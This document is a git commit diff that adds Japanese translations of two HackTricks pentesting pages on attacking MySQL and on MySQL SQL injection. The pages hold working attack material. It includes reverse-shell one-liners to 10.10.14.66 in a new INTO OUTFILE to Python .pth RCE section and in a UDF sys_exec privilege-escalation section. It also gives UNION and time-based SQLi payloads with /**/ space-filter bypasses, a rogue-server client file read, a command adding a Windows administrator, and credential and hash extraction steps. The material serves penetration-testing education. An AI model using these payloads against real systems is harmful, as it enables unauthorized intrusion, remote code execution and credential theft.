Translated ['src/network-services-pentesting/pentesting-mysql.md', 'src/

This commit is contained in:
Translator 2025-07-14 08:42:21 +00:00
parent 8a394745a9
commit 839b7ba44a
2 changed files with 103 additions and 35 deletions

View File

@ -1,10 +1,15 @@
# 3306 - Pentesting Mysql # 3306 - Pentesting Mysql
{{#include /banners/hacktricks-training.md}}
## References
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
## **基本情報** ## **基本情報**
**MySQL**は、無償で利用できるオープンソースの**リレーショナルデータベース管理システム (RDBMS)**として説明できます。これは、**構造化クエリ言語 (SQL)**で動作し、データベースの管理と操作を可能にします。 **MySQL** は、無料で利用できるオープンソースの **リレーショナルデータベース管理システム (RDBMS)** として説明できます。これは **構造化クエリ言語 (SQL)** に基づいて動作し、データベースの管理と操作を可能にします。
**デフォルトポート:** 3306 **デフォルトポート:** 3306
``` ```
@ -22,9 +27,9 @@ mysql -u root -p # A password will be asked (check someone)
mysql -h <Hostname> -u root mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost mysql -h <Hostname> -u root@localhost
``` ```
## External Enumeration ## 外部列挙
一部の列挙アクションには有効な資格情報が必要です いくつかの列挙アクションには有効な資格情報が必要です
```bash ```bash
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP> nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version msf> use auxiliary/scanner/mysql/mysql_version
@ -78,7 +83,7 @@ quit;
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
mysql -u root -h 127.0.0.1 -e 'show databases;' mysql -u root -h 127.0.0.1 -e 'show databases;'
``` ```
### MySQL 権限列挙 ### MySQL権限列挙
```sql ```sql
#Mysql #Mysql
SHOW GRANTS [FOR user]; SHOW GRANTS [FOR user];
@ -109,14 +114,51 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md ../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
{{#endref}} {{#endref}}
#### INTO OUTFILE → Python `.pth` RCEサイト固有の設定フック
古典的な `INTO OUTFILE` プリミティブを悪用することで、後に **Python** スクリプトを実行するターゲットで *任意のコード実行* を取得することが可能です。
1. `INTO OUTFILE` を使用して、`site.py` に自動的に読み込まれる任意のディレクトリ内にカスタム **`.pth`** ファイルをドロップします(例: `.../lib/python3.10/site-packages/`)。
2. `.pth` ファイルには、`import ` で始まる *1行* の任意のPythonコードを含めることができ、インタープリタが起動するたびに実行されます。
3. インタープリタがCGIスクリプトによって暗黙的に実行されるとき例えば、`#!/bin/python` のシバンを持つ `/cgi-bin/ml-draw.py`、ペイロードはウェブサーバープロセスと同じ特権で実行されますFortiWebはそれを **root** として実行しました → 完全な事前認証RCE
例の `.pth` ペイロード単一行、最終SQLペイロードにスペースを含めることはできないため、hex/`UNHEX()` または文字列連結が必要になる場合があります):
```python
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
```
**UNION** クエリを通じてファイルを作成する例(スペース文字は `/**/` に置き換えられ、`sscanf("%128s")` スペースフィルターを回避し、合計長を ≤128 バイトに保つ):
```sql
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
```
重要な制限事項とバイパス:
* `INTO OUTFILE` **は既存のファイルを上書きできません**; 新しいファイル名を選択してください。
* ファイルパスは **MySQLのCWDに対して相対的に解決される**ため、`../../`をプレフィックスとして使用することでパスを短縮し、絶対パスの制限をバイパスできます。
* 攻撃者の入力が`%128s`(または類似のもの)で抽出されると、任意のスペースがペイロードを切り詰めます; スペースを置き換えるためにMySQLコメントシーケンス`/**/`または`/*!*/`を使用してください。
* クエリを実行するMySQLユーザーは`FILE`権限が必要ですが、多くのアプライアンス(例: FortiWebではサービスが**root**として実行され、ほぼすべての場所に書き込みアクセスが与えられます。
`.pth`を削除した後、単にpythonインタープリタによって処理される任意のCGIをリクエストしてコード実行を取得します:
```
GET /cgi-bin/ml-draw.py HTTP/1.1
Host: <target>
```
Pythonプロセスは悪意のある`.pth`を自動的にインポートし、シェルペイロードを実行します。
```
# Attacker
$ nc -lvnp 4444
id
uid=0(root) gid=0(root) groups=0(root)
```
---
## MySQL クライアントによる任意のファイルの読み取り ## MySQL クライアントによる任意のファイルの読み取り
実際、**テーブルにローカルデータをロードする**とき、MySQLまたはMariaDBサーバーは**クライアントにファイルを読み取って**その内容を送信するように要求します。**したがって、mysqlクライアントを改ざんして自分のMySQLサーバーに接続できれば、任意のファイルを読み取ることができます。**\ 実際、**テーブルにローカルデータをロードする**際に、MySQL または MariaDB サーバーは **クライアントにファイルを読み取って** その内容を送信するように要求します。**したがって、mysql クライアントを改ざんして自分の MySQL サーバーに接続できれば、任意のファイルを読み取ることができます。**\
この動作は次のように使用されることに注意してください: この動作は次のようになります:
```bash ```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
``` ```
(「local」という単語に注意してください)\ 「local」という単語に注意してください\
「local」がないと、次のようになります 「local」がないと、次のようになります
```bash ```bash
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
@ -124,8 +166,8 @@ mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
``` ```
**Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\ **Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**In this paper you can see a complete description of the attack and even how to extend it to RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ **この論文では、攻撃の完全な説明と、RCEに拡張する方法を確認できます:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**Here you can find an overview of the attack:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/) **ここでは攻撃の概要を見つけることができます:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
@ -147,7 +189,7 @@ MySQLサービスの設定では、その操作とセキュリティ対策を定
- **`user`** 設定は、MySQLサービスが実行されるユーザーを指定するために使用されます。 - **`user`** 設定は、MySQLサービスが実行されるユーザーを指定するために使用されます。
- **`password`** は、MySQLユーザーに関連付けられたパスワードを設定するために適用されます。 - **`password`** は、MySQLユーザーに関連付けられたパスワードを設定するために適用されます。
- **`admin_address`** は、管理ネットワークインターフェースでTCP/IP接続をリッスンするIPアドレスを指定します。 - **`admin_address`** は、管理ネットワークインターフェースでTCP/IP接続をリッスンするIPアドレスを指定します。
- **`debug`** 変数は、現在のデバッグ設定を示し、ログ内に機密情報を含むことがあります。 - **`debug`** 変数は、ログ内の機密情報を含む現在のデバッグ設定を示します。
- **`sql_warnings`** は、警告が発生したときに単一行INSERT文のために情報文字列が生成されるかどうかを管理し、ログ内に機密データを含むことがあります。 - **`sql_warnings`** は、警告が発生したときに単一行INSERT文のために情報文字列が生成されるかどうかを管理し、ログ内に機密データを含むことがあります。
- **`secure_file_priv`** により、データのインポートおよびエクスポート操作の範囲が制限され、セキュリティが強化されます。 - **`secure_file_priv`** により、データのインポートおよびエクスポート操作の範囲が制限され、セキュリティが強化されます。
@ -171,16 +213,16 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
``` ```
### 特権昇格 via ライブラリ ### 特権昇格 via ライブラリ
もし **mysqlサーバーがrootとして実行されている**(または他の特権のあるユーザーとして)場合、コマンドを実行させることができます。そのためには、**ユーザー定義関数**を使用する必要があります。そして、ユーザー定義を作成するには、mysqlが実行されているOS用の**ライブラリ**が必要です。 もし**mysqlサーバーがroot**(または他の特権のあるユーザー)として実行されている場合、コマンドを実行させることができます。そのためには、**ユーザー定義関数**を使用する必要があります。そして、ユーザー定義を作成するには、mysqlが実行されているOS用の**ライブラリ**が必要です。
使用する悪意のあるライブラリは、sqlmap内やmetasploit内で **`locate "*lib_mysqludf_sys*"`** を実行することで見つけることができます。**`.so`** ファイルは **linux** ライブラリで、**`.dll`** は **Windows** のものです。必要なものを選んでください。 使用する悪意のあるライブラリは、sqlmap内やmetasploit内で**`locate "*lib_mysqludf_sys*"`**を実行することで見つけることができます。**`.so`**ファイルは**linux**ライブラリで、**`.dll`**は**Windows**用のものです。必要なものを選んでください。
もし**それらのライブラリがない**場合は、**探す**か、この[**linux Cコード**](https://www.exploit-db.com/exploits/1518)をダウンロードして、**linuxの脆弱なマシン内でコンパイル**してください: もし**それらのライブラリがない**場合は、**探す**か、この[**linux Cコード**](https://www.exploit-db.com/exploits/1518)をダウンロードして、**linuxの脆弱なマシン内でコンパイル**してください:
```bash ```bash
gcc -g -c raptor_udf2.c gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
``` ```
今、ライブラリがあるので、特権ユーザーrootとしてMysqlにログインし、次の手順に従ってください ライブラリを取得したら、特権ユーザーrootとしてMysqlにログインし、次の手順に従ってください
#### Linux #### Linux
```sql ```sql
@ -202,7 +244,7 @@ create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt'); select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"'); select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');
``` ```
#### Windows #### ウィンドウズ
```sql ```sql
# CHech the linux comments for more indications # CHech the linux comments for more indications
USE mysql; USE mysql;
@ -216,13 +258,13 @@ SELECT sys_exec("net localgroup Administrators npn /add");
``` ```
### MySQLの資格情報をファイルから抽出する ### MySQLの資格情報をファイルから抽出する
_/etc/mysql/debian.cnf_ 内には、ユーザー **debian-sys-maint****平文パスワード** が含まれています。 _/etc/mysql/debian.cnf_ の中に、ユーザー **debian-sys-maint****平文パスワード** を見つけることができます。
```bash ```bash
cat /etc/mysql/debian.cnf cat /etc/mysql/debian.cnf
``` ```
これらの資格情報を使用して**MySQLデータベースにログインできます** これらの資格情報を使用して、mysqlデータベースにログインできます
ファイル _/var/lib/mysql/mysql/user.MYD_ の中には、**MySQLユーザーのすべてのハッシュ**データベース内のmysql.userから抽出できるものが見つかります_ ファイル _/var/lib/mysql/mysql/user.MYD_ の中には、**MySQLユーザーのすべてのハッシュ**データベース内のmysql.userから抽出できるものが見つかります。
これらを抽出するには、次のようにします: これらを抽出するには、次のようにします:
```bash ```bash
@ -230,7 +272,7 @@ grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_na
``` ```
### ロギングの有効化 ### ロギングの有効化
mysqlクエリのロギングを`/etc/mysql/my.cnf`で有効にするには、以下の行のコメントを外します。 mysqlクエリのロギングを`/etc/mysql/my.cnf`で有効にするには、以下の行のコメントを外します。
![](<../images/image (899).png>) ![](<../images/image (899).png>)
@ -609,6 +651,7 @@ Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit' Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
``` ```
## 参考文献
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -12,9 +12,9 @@
/*! MYSQL Special SQL */ /*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02 /*!32302 10*/ Comment for MySQL version 3.23.02
``` ```
## 興味深い機能 ## 興味深い関数
### Mysqlの確認 ### Confirm Mysql:
``` ```
concat('a','b') concat('a','b')
database() database()
@ -48,6 +48,8 @@ strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
```sql ```sql
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/" SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
``` ```
from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/)
## フロー ## フロー
「現代」の**MySQL**のバージョンでは、"_**information_schema.tables**_"を"_**mysql.innodb_table_stats**_**"**に置き換えることができることを覚えておいてくださいこれはWAFを回避するのに役立つかもしれません 「現代」の**MySQL**のバージョンでは、"_**information_schema.tables**_"を"_**mysql.innodb_table_stats**_**"**に置き換えることができることを覚えておいてくださいこれはWAFを回避するのに役立つかもしれません
@ -62,7 +64,7 @@ SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
- `group_concat()` - `group_concat()`
- `Limit X,1` - `Limit X,1`
### **ブラインド1つずつ** ### **ブラインドつずつ**
- `substr(version(),X,1)='r'` または `substring(version(),X,1)=0x70` または `ascii(substr(version(),X,1))=112` - `substr(version(),X,1)='r'` または `substring(version(),X,1)=0x70` または `ascii(substr(version(),X,1))=112`
- `mid(version(),X,1)='5'` - `mid(version(),X,1)='5'`
@ -77,7 +79,7 @@ SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
## 列の数を検出 ## 列の数を検出
単純なORDERを使用して 単純なORDERを使用
``` ```
order by 1 order by 1
order by 2 order by 2
@ -99,13 +101,13 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
``` ```
## SSRF ## SSRF
**ここで、** [**Mysqlインジェクションを悪用してSSRFを取得するためのさまざまなオプションを学びます**](mysql-ssrf.md)**。** **ここで、** [**Mysqlインジェクションを悪用してSSRFを取得するための異なるオプションを学びます**](mysql-ssrf.md)**。**
## WAFバイパストリック ## WAFバイパストリック
### 準備されたステートメントを通じてクエリを実行する ### プリペアドステートメントを通じてクエリを実行する
スタッククエリが許可されている場合、実行したいクエリの16進数表現を変数に割り当てSETを使用、その後PREPAREおよびEXECUTE MySQLステートメントを使用して最終的にクエリを実行することでWAFをバイパスできる可能性があります。次のようなものです: スタッククエリが許可されている場合、実行したいクエリの16進数表現を変数に割り当てSETを使用、その後PREPAREおよびEXECUTE MySQLステートメントを使用して最終的にクエリを実行することでWAFをバイパスできる可能性があります。こんな感じです:
``` ```
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; # 0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
``` ```
@ -113,7 +115,7 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
### Information_schemaの代替 ### Information_schemaの代替
「現代」の**MySQL**のバージョンでは、_**information_schema.tables**_を_**mysql.innodb_table_stats**_や_**sys.x$schema_flattened_keys**_、または**sys.schema_table_statistics**に置き換えることができることを覚えておいてください。 「現代」の**MySQL**のバージョンでは、_**information_schema.tables**_を_**mysql.innodb_table_stats**_や_**sys.x$schema_flattened_keys**_、または**sys.schema_table_statistics**に置き換えることができることを忘れないでください。
### MySQLインジェクションカンマなし ### MySQLインジェクションカンマなし
@ -123,22 +125,44 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
``` ```
### 列名なしで値を取得する ### 列名なしで値を取得する
もし、テーブルの名前はわかっているが、そのテーブル内の列の名前がわからない場合は、次のようなコマンドを実行して、列の数を調べることができます: もし、テーブルの名前はわかっているが、テーブル内の列の名前がわからない場合は、次のようなコマンドを実行して、列の数を調べることができます:
```bash ```bash
# When a True is returned, you have found the number of columns # When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1); # 2columns select (select "", "") = (SELECT * from demo limit 1); # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
``` ```
フラグの内容を文字ごとに試してブルートフォースすることができます。最初の列がIDで、もう一つの列がフラグであると仮定します。 2つの列があると仮定します最初の列がIDで、もう1つの列がフラグです。フラグの内容を文字ごとにブルートフォースしてみることができます
```bash ```bash
# When True, you found the correct char and can start ruteforcing the next position # When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1); select (select 1, 'flaf') = (SELECT * from demo limit 1);
``` ```
[https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)の詳細情報 More info in [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)
### SPACESなしのインジェクション (`/**/` コメントトリック)
一部のアプリケーションは、`sscanf("%128s", buf)` のような関数を使用してユーザー入力をサニタイズまたは解析し、**最初のスペース文字で停止します**。
MySQLは`/**/`のシーケンスをコメント*および*ホワイトスペースとして扱うため、クエリを文法的に有効に保ちながら、ペイロードから通常のスペースを完全に削除するために使用できます。
スペースフィルターをバイパスする時間ベースのブラインドインジェクションの例:
```http
GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'
```
データベースが受け取るものは:
```sql
' OR SLEEP(5)-- -'
```
これは特に便利です:
* 制御可能なバッファのサイズが制限されている場合(例:`%128s`)で、スペースが入力を早期に終了させる場合。
* 通常のスペースが削除されるか、区切りとして使用されるHTTPヘッダーや他のフィールドを通じて注入する場合。
* `INTO OUTFILE` プリミティブと組み合わせて、完全な事前認証RCEを達成する場合MySQL File RCEセクションを参照
---
### MySQLの歴史 ### MySQLの歴史
**sys.x$statement_analysis**テーブルを読み取ることで、他の実行を確認できます。 MySQL内で他の実行を確認できます**sys.x$statement_analysis**
### バージョンの代替**s** ### バージョンの代替**s**
``` ```
@ -148,11 +172,12 @@ mysql> select version();
``` ```
## その他のMYSQLインジェクションガイド ## その他のMYSQLインジェクションガイド
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) - [PayloadsAllTheThings MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
## 参考文献 ## 参考文献
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) - [PayloadsAllTheThings MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}